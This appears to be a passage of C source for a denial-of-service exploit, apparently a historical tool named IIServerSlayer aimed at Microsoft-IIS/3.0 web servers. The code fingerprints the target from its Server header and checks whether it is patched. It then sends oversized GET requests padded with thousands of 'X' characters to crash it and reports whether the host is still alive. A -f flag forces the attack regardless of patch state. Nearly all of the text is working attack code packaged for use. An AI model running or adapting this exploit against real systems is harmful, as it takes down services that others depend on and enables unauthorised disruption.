For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2
   and glibc.
                by Andrea Arcangeli <arcangeli@mbox.queen.it> */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <signal.h>
int s;
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
  struct sockaddr_in blah;
  struct hostent *he;
  bzero((char *)&blah,sizeof(blah));
  blah.sin_family=AF_INET;
  blah.sin_port=htons(port);
  if ((he = gethostbyname(server)) != NULL) {
    bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  }
  else {
    if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
      perror("gethostbyname()");
      return(2);
    }
  }
  if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
    perror("connect()");
    close(sock);
    return(3);
  }
  return 0;
}
char *generate_die_string(int lenght) {
  char letter='X';
  char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;
  int i;
  str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);
  strcpy(str,str_begin);
  for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter;
  str[i]=0;
  strcat(str,str_end);
  return (char *)str;
}
void IIServerSlayer(char *target,int lenght,int port,int flags) {
  char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";
  char *IIS_patch = "Bad Request";
  int count = 0,return_status;
  if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("socket()");
    exit(1);
  }
  if((return_status = open_sock(s,target,port))) exit(return_status);
  if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target);
  else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n"
              ,target);
  send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);
  printf("Waiting for the reply from %s\n",target);
  buff[1]=0;
  while(recv(s,buff,1,0) == 1) {
    if(flags & 1) printf("%s",buff);
    else if(!div(count,50).rem) printf(".");
    if(count < 511) header[count]=buff[0];
    count++;
  }
  printf("\n");
  header[511]=0;
  if(strstr(header,IIS_string) == NULL && lenght == 0) {
    printf("This is not a Microsoft-IIS/3.0 web server\n");
    if(!(flags & 2)) exit(0);
  }
  else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n");
  if(strstr(header,IIS_patch) != NULL) {
    printf("This IIS/3.0 web server is patched against this exploit\n");
    if(!(flags & 2)) exit(0);
  }
  close(s);
}
void main(int argc,char **argv)
{
  int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;
  if (argc < 2 ) {
    printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);
    printf("[-v] = verbose mode to view the server reply\n");
    printf("[-f] = force running over non or patched IIS/3.0 web server\n");
    exit(0);
  }
  for(i=1;i<argc;i++) {
    if(!strcmp(argv[i],"-v")) { param++; flags |= 1; }
    if(!strcmp(argv[i],"-f")) { param++; flags |= 2; }
  }
  if(argc > param+2) lenght = atoi(argv[param+2]);
  if(argc > param+3) port = atoi(argv[param+3]);
  for(i=0;i<3;i++,lenght++) {
    if(i) IIServerSlayer(argv[param+1],lenght,port,flags);
    else IIServerSlayer(argv[param+1],0,port,flags);
    if(i == 1 || i == 0) lenght--;
  }
  if((pid = fork())) {
    if(pid == -1) {
      perror("I can' t fork\n");
      exit(-1);
    }
    usleep(60000000); /* wait for 1 minute */
    kill(pid,SIGTERM);
  }
  else {
    IIServerSlayer(argv[param+1],lenght,port,flags);
    printf("Sorry, %s is alive yet\n",argv[param+1]);
  }
  exit(0);
}